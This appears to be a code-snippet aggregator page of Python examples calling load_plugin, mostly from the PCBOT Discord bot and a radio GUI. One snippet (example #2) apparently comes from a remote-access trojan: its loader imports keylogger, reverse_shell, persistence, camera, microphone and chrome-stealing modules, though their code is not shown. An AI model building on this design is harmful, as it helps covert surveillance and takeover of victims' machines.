예제 #1
0
파일: bot.py 프로젝트: Jeglet/pcbot
def main():
    """ The main function. Parses command line arguments, sets up logging,
    gets the user's login info, sets up any background task and starts the bot. """
    # Setup logger with level specified in start_args or logging.INFO
    logging.basicConfig(
        filename=start_args.log_file,
        level=start_args.log_level,
        format="%(levelname)s %(asctime)s [%(module)s / %(name)s]: %(message)s"
    )

    # Always keep the websockets.protocol logger at INFO as a minimum unless --enable-protocol-logging is set
    if not start_args.enable_protocol_logging:
        discord_logger = logging.getLogger("websockets.protocol")
        discord_logger.setLevel(start_args.log_level if start_args.
                                log_level >= logging.INFO else logging.INFO)

    # Setup some config for more customization
    bot_meta = config.Config(
        "bot_meta",
        pretty=True,
        data=dict(
            name="PCBOT",
            command_prefix=config.default_command_prefix,
            case_sensitive_commands=config.default_case_sensitive_commands,
            display_owner_error_in_chat=False))
    config.name = bot_meta.data["name"]
    config.default_command_prefix = bot_meta.data["command_prefix"]
    config.default_case_sensitive_commands = bot_meta.data[
        "case_sensitive_commands"]
    config.owner_error = bot_meta.data["display_owner_error_in_chat"]

    # Set the client for the plugins to use
    plugins.set_client(client)
    utils.set_client(client)

    # Load plugin for builtin commands
    plugins.load_plugin("builtin", "pcbot")

    # Load all dynamic plugins
    plugins.load_plugins()

    # Login with the specified token if specified
    token = start_args.token or input("Token: ")

    login = [token]

    # Setup background tasks
    client.loop.create_task(add_tasks())

    try:
        client.run(*login)
    except discord.errors.LoginFailure as e:
        logging.error(utils.format_exception(e))
예제 #2
0
    def load_plugins(self, import_type='dynamic'):
        if import_type == 'dynamic':
            for p in self.plugin_list:
                try:
                    self.logger.info('[*] Loading plugin: {}'.format(p))
                    self.plugins[p] = load_plugin(self, p)
                    new_cmd = []

                    self.plugins[p].setup()

                    for command in self.plugins[p].commands:
                        if self.command_routes.get(command.name, None):
                            self.logger.warning(
                                '[-] Duplicated command "{}" for plugins "{}" and "{}", prioritizing first'
                                .format(command.name,
                                        self.command_routes[command.name], p))
                        else:
                            self.command_routes[command.name] = p
                            new_cmd.append(command.name)

                    self.logger.info(
                        '[+] Plugin loaded: {} ({} @ {}), new commands: {}'.
                        format(p, self.plugins[p].name,
                               self.plugins[p].version, new_cmd))
                except Exception as e:
                    self.logger.error(
                        '[-] Error loading plugin: {} ({})'.format(p, str(e)))
                    continue
        elif import_type == 'static':
            for m in [
                    camera, chrome, upload, keylogger, microphone, persistence,
                    proc, reverse_shell, screenshot, suicide, system
            ]:
                name = m.__name__.replace('plugins.', '')

                try:
                    self.logger.info('[*] Loading plugin: {}'.format(name))
                    new_cmd = []
                    self.plugins[name] = m.Main(self)
                    self.plugins[name].setup()

                    for command in self.plugins[name].commands:
                        if self.command_routes.get(command.name, None):
                            self.logger.warning(
                                '[-] Duplicated command "{}" for plugins "{}" and "{}", prioritizing first'
                                .format(command.name,
                                        self.command_routes[command.name],
                                        name))
                        else:
                            self.command_routes[command.name] = name
                            new_cmd.append(command.name)

                    self.logger.info(
                        '[+] Plugin loaded: {} ({} @ {}), new commands: {}'.
                        format(name, self.plugins[name].name,
                               self.plugins[name].version, new_cmd))
                except Exception as e:
                    self.logger.error(
                        '[-] Error loading plugin: {} ({})'.format(
                            name, str(e)))
예제 #3
0
파일: builtin.py 프로젝트: Jeglet/pcbot
async def load(message: discord.Message, name: str.lower):
    """ Loads a plugin. """
    assert not plugins.get_plugin(name), "Plugin `{}` is already loaded.".format(name)

    # The plugin isn't loaded so we'll try to load it
    assert plugins.load_plugin(name), "Plugin `{}` could not be loaded.".format(name)

    # The plugin was loaded successfully
    await client.say(message, "Plugin `{}` loaded.".format(name))
예제 #4
0
파일: builtin.py 프로젝트: xZwop/PCBOT
def load(client: discord.Client, message: discord.Message, name: str.lower):
    """ Loads a plugin. """
    assert not plugins.get_plugin(name), "Plugin `{}` is already loaded.".format(name)

    # The plugin isn't loaded so we'll try to load it
    assert plugins.load_plugin(name), "Plugin `{}` could not be loaded.".format(name)

    # The plugin was loaded successfully
    yield from client.say(message, "Plugin `{}` loaded.".format(name))
예제 #5
0
def start():
    import namb.gui as gui
    global m
    m=gui.MainWindow()
    import extensions
    extensions.load()
    extensions.load_extension("vlc")
    import plugins
    plugins.load()
    plugins.install_plugin("radionpo")
    plugins.load_plugin("radionpo")
    #plugins.load_plugin("jazzradio_com")
    global g
    g=plugins.get_plugin("radionpo")
    g.init()
    g.display(m.p.frame)
    import namb.userinput
    namb.userinput.set_receiver(g.menu)
    g.menu.focus_receive()
    m.p.frame.after(1, lambda: m.bar.menu_vanish())
    ui_loop()
예제 #6
0
파일: bot.py 프로젝트: stoz/PCBOT
def main():
    """ The main function. Parses command line arguments, sets up logging,
    gets the user's login info, sets up any background task and starts the bot. """
    # Add all command-line arguments
    parser = ArgumentParser(description="Run PCBOT.")
    parser.add_argument("--version",
                        "-V",
                        help="Return the current version.",
                        action="version",
                        version=__version__)

    # Setup a login group for handling only token or email, but not both
    login_group = parser.add_mutually_exclusive_group()
    login_group.add_argument(
        "--token", "-t", help="The token to login with. Prompts if omitted.")
    login_group.add_argument("--email",
                             "-e",
                             help="Alternative email to login with.")

    parser.add_argument("--new-pass",
                        "-n",
                        help="Always prompts for password.",
                        action="store_true")
    parser.add_argument(
        "--log-level",
        "-l",
        help=
        "Use the specified logging level (see the docs on logging for values).",
        type=lambda s: getattr(logging, s.upper()),
        default=logging.INFO,
        metavar="LEVEL")
    start_args = parser.parse_args()

    # Setup logger with level specified in start_args or logging.INFO
    logging.basicConfig(
        level=start_args.log_level,
        format="%(levelname)s %(asctime)s [%(module)s / %(name)s]: %(message)s"
    )

    # Always keep discord.py logger at INFO as a minimum
    discord_logger = logging.getLogger("discord")
    discord_logger.setLevel(start_args.log_level if start_args.
                            log_level >= logging.INFO else logging.INFO)

    # Setup some config for more customization
    bot_meta = config.Config(
        "bot_meta",
        pretty=True,
        data=dict(
            name="PCBOT",
            command_prefix=config.default_command_prefix,
            case_sensitive_commands=config.default_case_sensitive_commands,
            display_owner_error_in_chat=False))
    config.name = bot_meta.data["name"]
    config.default_command_prefix = bot_meta.data["command_prefix"]
    config.default_case_sensitive_commands = bot_meta.data[
        "case_sensitive_commands"]
    config.owner_error = bot_meta.data["display_owner_error_in_chat"]

    # Set the client for the plugins to use
    plugins.set_client(client)
    utils.set_client(client)

    # Load plugin for builtin commands
    plugins.load_plugin("builtin", "pcbot")

    # Load all dynamic plugins
    plugins.load_plugins()

    # Handle login
    if not start_args.email:
        # Login with the specified token if specified
        token = start_args.token or input("Token: ")

        login = [token]
    else:
        # Get the email from commandline argument
        email = start_args.email

        password = ""
        cached_path = client._get_cache_filename(
            email)  # Get the name of the would-be cached email

        # If the --new-pass command-line argument is specified, remove the cached password
        # Useful for when you have changed the password
        if start_args.new_pass:
            if os.path.exists(cached_path):
                os.remove(cached_path)

        # Prompt for password if the cached file does not exist (the user has not logged in before or
        # they they entered the --new-pass argument)
        if not os.path.exists(cached_path):
            password = getpass()

        login = [email, password]

    # Setup background tasks
    client.loop.create_task(add_tasks())

    try:
        client.run(*login)
    except discord.errors.LoginFailure as e:
        logging.error(utils.format_exception(e))
예제 #7
0
파일: bot.py 프로젝트: PcBoy111/PCBOT
def main():
    """ The main function. Parses command line arguments, sets up logging,
    gets the user's login info, sets up any background task and starts the bot. """
    # Add all command-line arguments
    parser = ArgumentParser(description="Run PCBOT.")
    parser.add_argument("--version", "-V", help="Return the current version.",
                        action="version", version=__version__)

    # Setup a login group for handling only token or email, but not both
    login_group = parser.add_mutually_exclusive_group()
    login_group.add_argument("--token", "-t", help="The token to login with. Prompts if omitted.")
    login_group.add_argument("--email", "-e", help="The email to login to. Token prompt is default.")

    parser.add_argument("--new-pass", "-n", help="Always prompts for password.", action="store_true")
    parser.add_argument("--log-level", "-l",
                        help="Use the specified logging level (see the docs on logging for values).",
                        type=lambda s: getattr(logging, s.upper()), default=logging.INFO, metavar="LEVEL")
    start_args = parser.parse_args()

    # Setup logger with level specified in start_args or logging.INFO
    logging.basicConfig(level=start_args.log_level,
                        format="%(levelname)s %(asctime)s [%(module)s / %(name)s]: %(message)s")

    # Always keep discord.py logger at INFO as a minimum
    discord_logger = logging.getLogger("discord")
    discord_logger.setLevel(start_args.log_level if start_args.log_level >= logging.INFO else logging.INFO)

    # Setup some config for more customization
    bot_meta = config.Config("bot_meta", pretty=True, data=dict(
        name="PCBOT",
        command_prefix=config.command_prefix
    ))
    config.name = bot_meta.data["name"]
    config.command_prefix = bot_meta.data["command_prefix"]

    # Set the client for the plugins to use
    plugins.set_client(client)

    # Load plugin for builtin commands
    plugins.load_plugin("builtin", "pcbot")

    # Load all dynamic plugins
    plugins.load_plugins()

    # Handle login
    if not start_args.email:
        # Login with the specified token if specified
        token = start_args.token or input("Token: ")

        login = [token]
    else:
        # Get the email from commandline argument
        email = start_args.email

        password = ""
        cached_path = client._get_cache_filename(email)  # Get the name of the would-be cached email

        # If the --new-pass command-line argument is specified, remove the cached password
        # Useful for when you have changed the password
        if start_args.new_pass:
            if os.path.exists(cached_path):
                os.remove(cached_path)

        # Prompt for password if the cached file does not exist (the user has not logged in before or
        # they they entered the --new-pass argument)
        if not os.path.exists(cached_path):
            password = getpass()

        login = [email, password]

    # Setup background tasks
    client.loop.create_task(add_tasks())

    try:
        client.run(*login)
    except discord.errors.LoginFailure as e:
        logging.error(utils.format_exception(e))